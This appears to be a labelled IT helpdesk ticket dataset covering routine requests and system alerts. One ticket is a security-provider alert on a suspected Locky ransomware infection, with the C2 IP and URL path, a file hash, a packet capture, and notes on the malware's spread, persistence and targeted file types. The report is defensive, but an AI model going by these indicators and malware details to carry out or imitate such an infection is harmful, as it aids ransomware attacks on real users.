inwarehouse_tools are blocking due to missing goods receipt. xceliron process not working - inwarehouse_tools are blocking due to missing goods receipt. vendor is routinely not getting paid because of no goods receipt. asuenpyg vzmneycx created process whereby the goods receipts were to be done via the system. this process is not working.,GRP_29 +"abended job in job_scheduler: bkbackup_tool_HostName_770_prod_inc received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bkbackup_tool_HostName_770_prod_inc at 08/09/16 12:56:26",GRP_5 +lhqw8325925sf: usa-nologin-collaboration_platform: script returned unexpected value 3. lhqw8325925sf: usa-nologin-collaboration_platform: script returned unexpected value 3. ,GRP_8 +"security incidents - ( sw #in33544563 ) : possible locky ransomware infection - lpal9516827 / 45.25.35.0499 source ip : 45.25.35.0499_x000D_ +system name : lpal9516827_x000D_ +user name: sbinuxja vtbegcho (nicolmghyu)_x000D_ +location : /centralsamerirtca/south_amerirtca/fieldsales-vpn-pcs_x000D_ +sep , sms status : see below_x000D_ +field sales user ( yes / no) : no_x000D_ +dsw event log: see below_x000D_ +_x000D_ +**_x000D_ +_x000D_ +content versions_x000D_ +fmxcnwpu tcwrdqboinition version: 08/07/2016 r19 _x000D_ +sequence: 179810 _x000D_ +host integrity content: 10/28/2015 r1 _x000D_ +reputation settings: 03/02/2015 r5 _x000D_ +ap portal list: 11/11/2015 r22 _x000D_ +intrusion prevention signature: 08/05/2016 r11 _x000D_ +power eraser definitions: 10/28/2015 r36 _x000D_ +revocation content: 08/03/2016 r2 _x000D_ +eraser engine: 115.2.1.18 _x000D_ +sonar content: 07/18/2016 r1 _x000D_ +extended file attributes and signatures: 08/04/2016 r3 _x000D_ +symantec permitted applications list: 08/05/2016 r22 _x000D_ +_x000D_ +**_x000D_ +_x000D_ +sonar and risk logs_x000D_ +_x000D_ +risk information_x000D_ +downloaded or created by: c:\programdnty files (x86)\java\jre1.8.0_101\bin\javaw.exe _x000D_ +file or path: c:\users\nicolmghyu\202b4bcc-bddb48f94-1\9940ef2a-b.exe _x000D_ +application: 9940ef2a-b.exe _x000D_ +application type: not applicable _x000D_ +category set: malware _x000D_ +category type: heuristic virus _x000D_ +version: 1.0.0.0 _x000D_ +file size: 3332167 _x000D_ +hash: 1c9fca98197534681661982b366668541fa6f8d5f6480a64ffddfee7fbf502d5 _x000D_ +hash algorithm: sha-256 _x000D_ +_x000D_ +risk reputation_x000D_ +first seen: symantec has known about this file approximately 2 days. _x000D_ +reputation: this file is untrustworthy. _x000D_ +prevalence: this file has been seen by fewer than 5 symantec users. _x000D_ +sonar risk level: high _x000D_ +sensitivity: 1 (low) _x000D_ +detection score: 1 _x000D_ +sonar engine version: 10.1.0.96 _x000D_ +submit: not recommended to submit _x000D_ +_x000D_ +**_x000D_ +_x000D_ +=========================_x000D_ +incident overview_x000D_ +=========================_x000D_ +the ctoc has received an alert for '52655 vid74472 locky ransomware c2 communication outbound' from your isensor device (10.32.100.17/isensor03.company.com) for traffic sourcing from port 65360/tcp of lpal9516827/45.25.35.0499 destined to port 80/tcp of 81.4.108.247 (geffen, nld) that occurred on 2016-08-08 at 18:49:36. this activity indicates that lpal9516827/45.25.35.0499 has likely been infected with the locky ransomware._x000D_ +_x000D_ +_x000D_ +the outbound http traffic from the infected device contained the following method data:_x000D_ +protocol: tcp_x000D_ +http method: post_x000D_ +http version: http/1.0_x000D_ +domain: 81.4.108.247_x000D_ +url path: /comercial/cadastra.php_x000D_ +user-agent: mozilla/5.0 (compatible; msie 6.0; windows nt 5.1; sv2)_x000D_ +content length: 127_x000D_ +_x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket and phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at ._x000D_ +1) ticket only escalation for related events (medium priority ticket and an e-mail only notification)._x000D_ +2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal)._x000D_ +_x000D_ +sincerely,_x000D_ +secureworks ctoc_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +technical details_x000D_ +=========================_x000D_ +locky is a new ransomware that encrypts your data using aes encryption and then demands a form of digital currency to decrypt your files. locky is distributed by malicious attachments to spam emails and recently seen in massive phishing campaigns with microsoft word document attachments. ctu researchers have observed attachments (for example, inwarehouse_tool_j-81076273.doc) with embedded macro code used to download the locky payload. filenames seem to be constructed by using eight random numbers following ""inwarehouse_tool_j-"". a potential victim receiving the attachment needs to open it and enable the macro which will then initiate the payload download over http._x000D_ +_x000D_ +once locky is running on the compromised system, it drops a copy of itself in the %temp% directory under the affected user's profile and sets a registry run key to ensure persistence across reboots. the dropped file has used the filenames ladybi.exe and svchost.exe. locky also sets the hkcu\software\locky registry key and creates the values listed in the ctu tips article provided in the references section. _x000D_ +_x000D_ +locky also checks for the following registry keys, which may indicate the presence of security-related software:_x000D_ +• software\kasperskylab_x000D_ +• software\eset_x000D_ +• software\avast software_x000D_ +_x000D_ +the victim is notified of the infection when the desktop background image changes (see figure 4 in ctu tips). locky places the same instructions in a text file and a bitmap image on the desktop and displays both of these files to the victim._x000D_ +_x000D_ +there is unconfirmed speculation that the operators of the botnet distributing the locky malware are also responsible for the bugat v5 (dridex) banking trojan. the spam emanates from the same botnet that distributes bugat v5 and other threats such as the shiz/shifu malware, but this finding is not conclusive because the botnet is used by various affiliates at different times._x000D_ +_x000D_ +locky may also have the capability to locate network resources and encrypt files in those locations. ctu researchers are analysing a block of code that may be used to enumerate network-based locations (2016-02-19)._x000D_ +_x000D_ +locky attempts encryption on the following files and file types:_x000D_ + _x000D_ +.qcow2_x000D_ +.vmdk_x000D_ +.tar_x000D_ +.bz2_x000D_ +.jpeg_x000D_ +.sqlite3_x000D_ +.ppsm_x000D_ +.potm_x000D_ +.xlsx_x000D_ +.docm_x000D_ +wallet.dat_x000D_ +.xlsm_x000D_ +.xlsb_x000D_ +.dotm_x000D_ +.dotx_x000D_ +.docx _x000D_ +.djvu_x000D_ +.pptx_x000D_ +.pptm_x000D_ +.xltx _x000D_ +.xltm_x000D_ +.ppsx_x000D_ +.ppam_x000D_ +.docb_x000D_ +.potx_x000D_ +.lay6_x000D_ +.mSID_33_x000D_ +.sldm_x000D_ +.sldx_x000D_ +.tiff_x000D_ +.class_x000D_ +.java _x000D_ +.sqlitedb_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +references_x000D_ +========================= _x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +_x000D_ +event id: 304325068_x000D_ +event summary: 52655 vid74472 locky ransomware c2 communication outbound_x000D_ +occurrence count: 1_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 45.25.35.0499_x000D_ +source hostname: lpal9516827_x000D_ +source port: 65360_x000D_ +destination ip: 81.4.108.247_x000D_ +destination hostname: ha6.ru._x000D_ +destination port: 80_x000D_ +destination ip geolocation: geffen, nld_x000D_ +connection directionality: outgoing_x000D_ +http method: post_x000D_ +user agent: mozilla/5.0 (compatible; msie 6.0; windows nt 5.1; sv2)_x000D_ +host: 81.4.108.247_x000D_ +full url path: /comercial/cadastra.php_x000D_ +_x000D_ +device information_x000D_ +device ip: 10.32.100.17_x000D_ +device name: isensor03.company.com_x000D_ +log time: 2016-08-08 at 18:49:36 utc_x000D_ +action: not blocked_x000D_ +vendor eventid: 349194_x000D_ +cvss score: -1 _x000D_ +vendor priority: 1_x000D_ +vendor version: 7_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 2114736_x000D_ +inspector rule id: 277082_x000D_ +inspector event id: 031975724_x000D_ +ontology id: 200020003203758352_x000D_ +event type id: 200020003203696566_x000D_ +agent id: 102805_x000D_ +_x000D_ +event detail:_x000D_ +[**] [1:21163766:6] 52655 vid74472 locky ransomware c2 communication outbound [**]_x000D_ +[classification: none] [priority: 1] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 602982][event id: 349194][time: 2581793287.437864]_x000D_ +[src ip: 45.25.35.0499][dst ip: 81.4.108.247][sport/itype: 65360][dport/icode: 80][proto: 6]_x000D_ +08/08/2016-18:49:36.437864 45.25.35.0499:65360 -> 81.4.108.247:80_x000D_ +tcp ttl:124 tos:0x0 id:10107 iplen:20 dgmlen:408 df_x000D_ +***ap*** seq: 0x85a5dbff ack: 0xb770f7f2 win: 0x102 tcplen: 20_x000D_ +==pcap 1==_x000D_ +_x000D_ +_x000D_ +[ex http_uri 9: /comercial/cadastra.php]_x000D_ +_x000D_ +[ex http_hostname 10: 81.4.108.247]_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +ascii packet(s):_x000D_ +==pcap 1 ascii s==_x000D_ +....@..wh...........e...'{@.|....,j.q.l..p.p.....p..p.......post./comercial/cadastra.php.http/1.0..host:.81.4.108.247..keep-alive:.300..connection:.keep-alive..user-agent:.mozilla/5.0.(compatible;.msie.6.0;.windows.nt.5.1;.sv2)..content-type:.application/x-www-form-urlencoded..content-length:.127....nome=lpal9516827&so=win10&data=08/08/2016.15:49:36&vs=9&idioma=portugu.s.(south_amerirtca)&anti={windows}.&plugin=-it&idcx=cxl[02-08-16]_x000D_ +==pcap 1 ascii e==_x000D_ +_x000D_ +hex packet(s):_x000D_ +==pcap 1 hex s==_x000D_ +000000 0c00 0000 40d4 a857 68ae 0600 9801 0000 ....@..wh......._x000D_ +000010 9801 0000 4500 0198 277b 4000 7c06 c31e ....e...'{@.|..._x000D_ +000020 0a2c 4a9f 5104 6cf7 ff50 0050 85a5 dbff .,j.q.l..p.p...._x000D_ +000030 b770 f7f2 5018 0102 93f3 0000 504f 5354 .p..p.......post_x000D_ +000040 202f 434f 4d45 5243 4941 4c2f 6361 6461 ./comercial/cada_x000D_ +000050 7374 7261 2e70 6870 2048 5454 502f 312e stra.php.http/1._x000D_ +000060 300d 0a48 6f73 743a 2038 312e 342e 3130 0..host:.81.4.10_x000D_ +000070 382e 3234 370d 0a4b 6565 702d 416c 6976 8.247..keep-aliv_x000D_ +000080 653a 2033 3030 0d0a 436f 6e6e 6563 7469 e:.300..connecti_x000D_ +000090 6f6e 3a20 6b65 6570 2SID_26 6c69 7665 0d0a on:.keep-alive.._x000D_ +0000a0 5573 6572 2SID_29 6765 6e74 3a20 4d6f 7a69 user-agent:.mozi_x000D_ +0000b0 6c6c 612f 352e 3020 2863 6f6d 7061 7469 lla/5.0.(compati_x000D_ +0000c0 626c 653b 204d 5349 4520 362e 303b 2057 ble;.msie.6.0;.w_x000D_ +0000d0 696e 646f 7773 204e 5420 352e 313b 2053 indows.nt.5.1;.s_x000D_ +0000e0 5632 290d 0a43 6f6e 7465 6e74 2d54 7970 v2)..content-typ_x000D_ +0000f0 653a 2061 7070 6c69 6361 7469 6f6e 2f78 e:.application/x_x000D_ +000100 2d77 7777 2d66 6f72 6d2d 7572 6c65 6e63 -www-form-urlenc_x000D_ +000110 6f64 6564 0d0a 436f 6e74 656e 742d 4c65 oded..content-le_x000D_ +000120 6e67 7468 3a20 3132 370d 0a0d 0a4e 4f4d ngth:.127....nom_x000D_ +000130 453d 4c50 414c 3834 3035 3731 3626 534f e=lpal9516827&so_x000D_ +000140 3d57 494e 3130 2644 4154 413d 3038 2f30 =win10&data=08/0_x000D_ +000150 382f 3230 3136 2031 353a 3439 3a33 3626 8/2016.15:49:36&_x000D_ +000160 5653 3d39 2649 4449 4f4d 413d 506f 7274 vs=9&idioma=port_x000D_ +000170 7567 75ea 7320 2842 7261 7369 6c29 2641 ugu.s.(south_amerirtca)&a_x000D_ +000180 4e54 493d 7b57 494e 444f 5753 7d20 2650 nti={windows}.&p_x000D_ +000190 4c55 4749 4e3d 2d49 5426 4944 4358 3d43 lugin=-it&idcx=c_x000D_ +0001a0 584c 5b30 322d 3038 2d31 365d xl[02-08-16]_x000D_ +==pcap 1 hex e==",GRP_62 +"engineering tool engineering tool stops working several times a day, falls without apparent reason and works slow when it succeeds stay running._x000D_ +please see attached a print screen of the error._x000D_ +",GRP_62 +abend batch job in job_scheduler :bkbackup_tool_HostName_770_prod_inc job name:bkbackup_tool_HostName_770_prod_inc,GRP_5 +please move client from office 2010 to 2016 per sdxjiwlq ynowzqfh please move client from office 2010 to 2016 per sdxjiwlq ynowzqfh,GRP_3 +password reset password reset,GRP_0 +ticket_no1539670 - ticket update ticket_no1539670 - ticket update,GRP_0 +please instal printer pa15 at these laptop please instal printer pa15 at these laptop,GRP_0 +"restore a file _x000D_ +_x000D_ +received from: nwbhomqe.ejavblzu@gmail.com_x000D_ +_x000D_ +hello help,_x000D_ +_x000D_ +please restore the excel file ""sc drill catalog 2016-05-31""_x000D_ +from my home drive o:\solid carbide drills_x000D_ +from yesterday._x000D_ +_x000D_ +",GRP_12 +unable to connect to wifi from a hotel // dell 7350 unable to connect to wifi from a hotel // dell 7350,GRP_0 +"access to insertapps and corporate technology drives _x000D_ +_x000D_ +received from: uterqfld.ufmtgndo@gmail.com_x000D_ +_x000D_ +who would i contact at corporate to get access for ldpequhm nqclatbw and alex campbell to the following servers_x000D_ +_x000D_ +_x000D_ +_x000D_ +teams://HostName_771/tech center grade specifications/ceramdntyic specs_x000D_ +_x000D_ +access is needed to support manufacturing and technology._x000D_ +_x000D_ +",GRP_0 +audio not working on dell 7350 tablet audio not working on dell 7350 tablet,GRP_0 +unable to create reports in ticketing_tool i am unable to create/save new reports in ticketing_tool. ,GRP_36 +unable to boot up the laptop unable to boot up the laptop,GRP_3 +unable to sign in to skype and outlook unable to sign in to skype and outlook,GRP_0 +"HostName_1132:wrong number of instances of process *epmsystem2.exe*, expected 2 - found 1 HostName_1132:epmsystem2.exe: wrong number of instances of process *epmsystem2.exe*, expected 2 - found 1",GRP_12 +password reset password reset,GRP_0 +"error in customer _x000D_ +_x000D_ +received from: aiobpkzm.rmfjwtpl@gmail.com_x000D_ +_x000D_ +good morning_x000D_ +_x000D_ +the customer 81908859, must to include the next data:_x000D_ +dana manufacturing luxembourg_x000D_ +division enco / immex 488-2007_x000D_ +vat reg. no. lu38092497_x000D_ +dmc750410c41_x000D_ +_x000D_ +but know we have these one:_x000D_ +dana de mexico corporacion mexico srl_x000D_ +de cv / division enco / immex 488-2007_x000D_ +vat reg. no. lu38092497_x000D_ +dmc750410c41_x000D_ +and these data is wrong._x000D_ +_x000D_ +[cid:image003.png@01d1f222.eSID_5356b0][cid:image002.png@01d1f222.cb378bc0]_x000D_ +_x000D_ +what can i do to get the real information_x000D_ +_x000D_ +this information is in the customer_x000D_ +_x000D_ +[cid:image004.png@01d1f222.eSID_5356b0]_x000D_ +_x000D_ +please let me know if you can help me_x000D_ +_x000D_ +",GRP_10 +account locked out account locked out,GRP_0 +hub home page regional news does not have amerirtcas option see att,GRP_16 +"issues with internet explorer which is freezing all the time _x000D_ +_x000D_ +received from: jnqmvard.jiazxvcl@gmail.com_x000D_ +_x000D_ +",GRP_0 +erp SID_34 password reset need erp password reset. i am getting the error when logging into engineering tool that i have attempted to many times with the wrong password (old password).,GRP_0 +"a supplier told me that i have no warehouse_toolmail (x5380). matheywt kaufsfthyman is also having the same problem (x4465) koiapqbg teyldpkw, matheywt kaufsfthyman , phone system warehouse_toolmail",GRP_0 +"desk phone warehouse_toolmail when accessing my warehouse_toolmail, i receive a busy signal. the red warehouse_toolmail light is activated on my phone, when i push the button a busy signal is received._x000D_ +_x000D_ +others are having the same issues. ",GRP_0 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +"delivery failures date of email: 07/20/2016 (i have attached both email, the one i sent and was not delivered and the other i have received with the delivery error message)_x000D_ +sender's name: uidgt olibercsu (kbnfxpsy.gehxzayq@gmail.com)_x000D_ +recipient if not caller: jgnxyahz cixzwuyf (jgnxyahz.cixzwuyf@gmail.com)_x000D_ +delivery failure code: 0x9115121f-0x9115121f-0x000501_x000D_ +delivery failure text:sua mensagem não foi recebida por um ou mais dos destinatários._x000D_ +_x000D_ + assunto: enc: curso: ""customer logistics services (cls)""_x000D_ + enviada em: 20/07/2016 19:56_x000D_ +_x000D_ +não é possível encontrar os seguintes destinatários:_x000D_ +_x000D_ + jgnxyahz cixzwuyf em 20/07/2016 19:56_x000D_ + esta mensagem não pôde ser enviada. tente enviar a mensagem novamente mais tarde ou contate o administrador da rede. o erro a operação do cliente falhou. é [0x9115121f-0x9115121f-0x000501]._x000D_ +",GRP_26 +access database error. access database error. attached.,GRP_0 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +"HostName_1132: average (5 samples) memory usage is now 95%, which is above the error threshold (95%) HostName_1132: average (5 samples) memory usage is now 95%, which is above the error threshold (95%)_x000D_ + swap memory usage is now 90.80%, which is above the warning threshold (75%)",GRP_12 +my telephone does not have a dial tone and i cannot pick up warehouse_tool mail messages my telephone does not have a dial tone and i cannot pick up warehouse_tool mail messages,GRP_0 +account lockout account lockout,GRP_0 +"i am having issues with being disconnected every few minutes from outlook, i cannot send or recive email or search when i am having issues with being disconnected every few minutes from outlook, i cannot send or receive email or search when it disconnects.",GRP_3 +"restore _x000D_ +_x000D_ +received from: trgqbeax.hfyzudql@gmail.com_x000D_ +_x000D_ +please restore from august 5th 2016_x000D_ +_x000D_ +westes$(\\HostName_598) / betriebliche regelungen und bv / bv / anlage 2a bv bonus im ad fy17.docx_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +danke + viele grüße_x000D_ +trgqbeax hfyzudql_x000D_ +_x000D_ +mit freundlichen grüßen | best ",GRP_12 +"o outloock não esta funcionando. mensagem de erro:"" infelizmente, o outlook encontrou um erro que o está impedindo de funcionar corretamente. como resultado, outlook deverá ser fechado. gostaria que fizéssemos o reparo agora? com três botões que são: reparar agora/ fechar/ ajuda""",GRP_62 +"warehouse_toolmail not working my warehouse_toolmail does not seem to be picking up incoming calls. my number is 724. i attempted to uacyltoe hxgaycze this by calling from my cell phone. after 10 rings, the warehouse_toolmail still did not pick up.",GRP_0 +"setting of ooo for another mail box setting of ooo for another mail box +summary:need out off office for an employee who does not work in company any longer",GRP_0 +"user hajghtdul unable to connect via vpn. unable to access distributor_tool and distributor_tool qa. i have changed my passwords using password_management_tool password manager. after the passwords change i am unable to connect via vpn _x000D_ +my user id is hajghtdul.",GRP_0 +warehouse_toolmail not possible on phone set warehouse_toolmail not possible on phone set,GRP_0 +"group by does not work in the new modern look see attached image my site does not show the grouping by the first level and at the second level is continuous._x000D_ +further, the expand arrows are not responsive._x000D_ +",GRP_16 +erp SID_34 unlock request erp SID_34 unlock request ,GRP_0 +update on inplant_848628 update on inplant_848628,GRP_0 +ldism004(usa village(claapdico)-robot) is inactive since 07:14 am et on 08/09 ldism004(usa village(claapdico)-robot) is inactive since 07:14 am et on 08/09,GRP_8 +setup new ws \xaqzisrk ahbgjrqz setup new ws \xaqzisrk ahbgjrqz,GRP_24 +"warehouse_toolmail related to my office phone is not functioning. the warehouse_toolmail associated with my office phone is not functioning properly. when trying to access warehouse_toolmail from my office phone, i receive a ""not possible"" message on my phone. i have also tried to access warehouse_toolmail from the number and receive a message that states that my call cannot be completed at this time.",GRP_0 +handheld wireless device activation iphone 5s handheld wireless device activation iphone 5s,GRP_0 +"need file restored on a network/nt drive HostName_771 need file restored on a network/nt drive._x000D_ +_x000D_ +1) what is the file's full pathname techcenter projects_x000D_ +_x000D_ +2) what server/drive is it on HostName_771_x000D_ +_x000D_ +_x000D_ +3) from what backup date or last modified date do you want the file restored ? if unsure, the most recent backup date will be used. _x000D_ +_x000D_ +4) do you want the entire folder restored ? if not, you must provide the specific filename to restore . yes_x000D_ +_x000D_ +5) if the backup tape is not onsite, is it ok to allow 1-2 business days to retrieve the offsite tape ? extra charges apply for emergency delivery. _x000D_ +_x000D_ +6) do you want this filename and/or folder restored to its original place and with its original name, in other words an overwrite will be done. _x000D_ +if not, then you need to supply the new name and location to restore it to. _x000D_ +_x000D_ +note: a 30-day maximum backup is available. this is for file restores. exception only being HostName_768 & HostName_770, as they are kept for 1 year.",GRP_5 +"need access for utislgov fetaqndw _x000D_ +_x000D_ +received from: zjawqgcs.tohqcxla@gmail.com_x000D_ +_x000D_ +hi there,_x000D_ +_x000D_ +we want give utislgov fetaqndw utislgov.fetaqndw@gmail.com the same access as i have for \\HostName_1337\departments drive._x000D_ +_x000D_ +",GRP_12 +unlock erp SID_34 erp production account unlock erp SID_34 erp production account,GRP_0 +"revisar pc lpaw8515845 (g0rfv12) usadtto dfsdpor ffthhiago frsilva usar microsoft update _x000D_ +atualizar adobe acrobat, adobe flash e java_x000D_ +revisar grupos_x000D_ +revisar e atualizar sep_x000D_ +revisar patching_antivirus_sw_x000D_ +revisar erp client_x000D_ +executar check disk, defrag e scan do sep_x000D_ +atualizar drivers dell_x000D_ +verificar se há atualização/nova versão do pacote office no o365_x000D_ +_x000D_ +uacyltoe hxgayczear acessos ao itau, caixa e hsbc. uacyltoe hxgayczear abertura de plaghynilhas do itaú. ",GRP_62 +seep installation seep installation ,GRP_0 +"issue on pricing in distributor_tool we have agreed price with many of the distributors for a given period and skus. this is specified through pricing condition zcnc in erp. in distributor_tool, it is order through sold to & ship to combination._x000D_ +- till august – flat rate deployment, we did not have any issues._x000D_ +- today, when the distributor tried to book the order with zcnc pricing condition. the initial screen shows the correct price. but when the item is selected and quick order is clicked on, the price is getting changed to list price less standard discount instead of retaining the zcnc price.",GRP_21 +outlook issue outlook issue ,GRP_0 +"vvfrtgarnb - account disabled : account needs to be enabled till 12th aug _x000D_ +_x000D_ +received from: dctviemg.muapxkns@gmail.com_x000D_ +_x000D_ +please enable bahbrgy' account aerp. he is not leaving company until this friday. i do not know why his account was disabled today._x000D_ +_x000D_ +",GRP_2 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +account disabled for user vvfrtgarnb account disabled for user vvfrtgarnb,GRP_0 +unable to connect to wifi unable to connect to wifi.,GRP_0 +"close telephony_software between 16:30 and 17:30 local time due to kick off dinner hi,_x000D_ +would you please close telephony_software for turkey between 16:30 and 17:30 local time due to kick off dinner? it was approved by djpwfxzt cfkwxlmq?_x000D_ +",GRP_7 +distributor_tool: company issue and engineering_tool issue distributor_tool: company issue and engineering_tool issue ,GRP_0 +reset passwords for wptbgchj jutpdcqf using password_management_tool password reset. the,GRP_17 +"unable to connect vpn _x000D_ +_x000D_ +received from: zrpemyab.xvzwcbha@gmail.com_x000D_ +_x000D_ +dear sir/madam,_x000D_ +_x000D_ +i am unable to access vpn._x000D_ +_x000D_ +please refer below message_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image003.jpg@01d1f26d.749a4780]_x000D_ +_x000D_ +",GRP_0 +my symantec management agent is disabled my symantec management agent is disabled,GRP_50 +npc311101328 maintain plant value tasks assigned to jimdghty beshryu. error npc311101328 information from jimdghty beshryu: i have tried to complete the task. i recruited the help of the usa planners who usually do that step. they tell me that all of the tasks they do are complete with this item. product engineering was able to complete their task that cannot be done (based on what i have been told) until the planners finish their task. ,GRP_11 +display settings issue. display setting issue ,GRP_0 +"idg password reset not possible. idg password reset not possible. _x000D_ +",GRP_0 +"can't print drawing when attempting to print 71877338 from eu locations, a ""missing sheet"" page is being printed._x000D_ +_x000D_ +my guess is that although the drawing is in fr status, all originals still reside in cadb storage,",GRP_11 +"i can not log into erp hcm via the vpn i'm connected to the vpn, but i can not log into erp. i keep getting the error message that seems to imply that i am not connected to the vpn. any help is appreciated.",GRP_0 +"attached mail is saved on desktop as template with a text and signature. but when sent, nothing is to be seen. attached mail is saved on desktop as template with a text and signature. but when sent, nothing is to be seen.",GRP_0 +"business_client login hi,_x000D_ +_x000D_ +kindly help me out on access drawing search – to view and download in business_client utility._x000D_ +_x000D_ +",GRP_0 +"HostName_973:(hr_tool tax_interface app - qa ) total cpu is now 100.00%, since 4:51 am on 8/9 et HostName_973:(hr_tool tax_interface app - qa ) total cpu is now 100.00% which is above the error threshold (99%)",GRP_12 +bildschirm am kyocera arbeitsplatz defekt bitte austauschen,GRP_42 +setup new ws \rxpjomyf hvolsgqn setup new ws \rxpjomyf hvolsgqn,GRP_24 +setup new ws \pnwbkitv phbnwmkl setup new ws \pnwbkitv phbnwmkl,GRP_24 +setup new ws \wyighrjl xcwavhyu setup new ws \wyighrjl xcwavhyu,GRP_24 +setup new ws \beosjgxt mdevcqjk setup new ws \beosjgxt mdevcqjk,GRP_24 +"erp 730 issue. my erp gui got updated today, after that i am not able to save any data to desktop. please help.",GRP_0 +"lhqsm518(fim production): miiserver.exe: wrong number of instances of process miiserver.exe. lhqsm518(fim production): miiserver.exe: wrong number of instances of process miiserver.exe, expected instances gte 1 but found 0_x000D_ +at time: 08/09/16 04:51:34 am, est",GRP_12 +erp SID_34 password reset request. erp SID_34 password reset request.,GRP_0 +company guest account not working which was created yesterday. company guest account not working which was created yesterday.,GRP_0 +user account is locked unable to login windows.,GRP_0 +not able to hear any thing not able to hear any thing ,GRP_0 +"mobile device activation request for user :eqtofwbm mojfbwds : eqtofwbm.mojfbwds@gmail.com _x000D_ +_x000D_ +received from: wauhocsk.vxuikqaf@gmail.com_x000D_ +_x000D_ +dear friends_x000D_ +_x000D_ +please find below enclosed request_x000D_ +_x000D_ +",GRP_0 +erp SID_34 password reset request erp SID_34 password reset request ,GRP_0 +i cannot connect the network printer vh41 i cannot connect the network printer vh41,GRP_0 +"updated win10 uacyltoe hxgaycze machine eaglt000500 with recent ""anniversary update"" - need lauacyltoe hxgaycze sep version 12.1.6 mp5 or higher hello antivirus team,_x000D_ +_x000D_ +my win10 uacyltoe hxgaycze machine eaglt000500 has automatically updated to the recent win10 ""anniversary update"" - sep 12.1.6 mp3 is no longer working._x000D_ +this is an official company it win10 uacyltoe hxgaycze machine._x000D_ +_x000D_ +as per symantec technical support forum, windows 10 anniversary update requires at least sep version 12.1.6 mp5 or higher. please download and provide the software on the following share:_x000D_ +_x000D_ +\\eagcldaten\public\roedel\symantec_endpoint_protection_x000D_ +_x000D_ +",GRP_50 +mobile device activation ; personal device mobile device activation ; personal device ,GRP_0 +data restore restore the data files from external hard disk to reimaged laptop.,GRP_19 +"polycom realpresence destop"" polycom software installation on desktop",GRP_19 +ad locked out ad locked out ,GRP_0 +eagw8111224 shows defective system files - reinstall with lauacyltoe hxgaycze fy17 win7_x64 image eagw8111224 shows defective system files - reinstall with lauacyltoe hxgaycze fy17 win7_x64 image,GRP_28 +"terminate action for suzjhmfa swmiynoz has completed. from: jusfrttin gtehdnyuerrf [mailto:system@hr_tool.com] _x000D_ +sent: tuesday, august 09, 2016 12:05 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: rad - the terminate action for suzjhmfa swmiynoz has completed._x000D_ +_x000D_ +hello , _x000D_ +_x000D_ +a termination for suzjhmfa swmiynoz, 11172383, effective 07/30/2016 has been approved._x000D_ +_x000D_ +click the link to view._x000D_ +_x000D_ +",GRP_2 +"request you to reset my password of password_management_tool- could not login and reset my password . request you to reset my password of password_management_tool as soon as possible._x000D_ + could not login and reset my password .",GRP_0 +reset passwords for prgthyuulla ramdntythanjesh using password_management_tool password reset. the,GRP_17 +reset passwords for prgthyuulla ramdntythanjesh using password_management_tool password reset. the,GRP_17 +"the terminate action for kjtqxroc taqekwrd has completed. from: jusfrttin gtehdnyuerrf [mailto:system@hr_tool.com] _x000D_ +sent: tuesday, august 09, 2016 11:25 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: rad:the terminate action for kjtqxroc taqekwrd has completed._x000D_ +_x000D_ +hello , _x000D_ +_x000D_ +a termination for kjtqxroc taqekwrd, 11145798, effective 06/25/2016 has been approved._x000D_ +_x000D_ +click the link to view._x000D_ +_x000D_ +",GRP_2 +logon to server HostName_583 not possible logon to server HostName_583 not possible - server is in a loop at the welcome screen,GRP_12 +"lean event _x000D_ +_x000D_ +received from: ikerxqwz.prkyuitl@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +while forwarding lean event updation , i find the mail is not being forwarded and some message is displayed ._x000D_ +_x000D_ +please check and advise_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1f231.a3024791]_x000D_ +_x000D_ +",GRP_0 +"aw: [ticket#2016080878000153] wg: po#4505612440 _x000D_ +_x000D_ +received from: qyndvmlw.imcvznow@gmail.com_x000D_ +_x000D_ +mit freundlichen grüßen / with kind ",GRP_32 +"network outage, russia ru, company-russia-vpn-rtr(10.46.0.21) showing down since 12:59 am edt on 08/09/16 (no backup ckt.) what type of outage: _x____network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________12:59 am edt on 08/09/16______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __na______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ____yes____ (yes/no/na) cert started ?___na_____ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 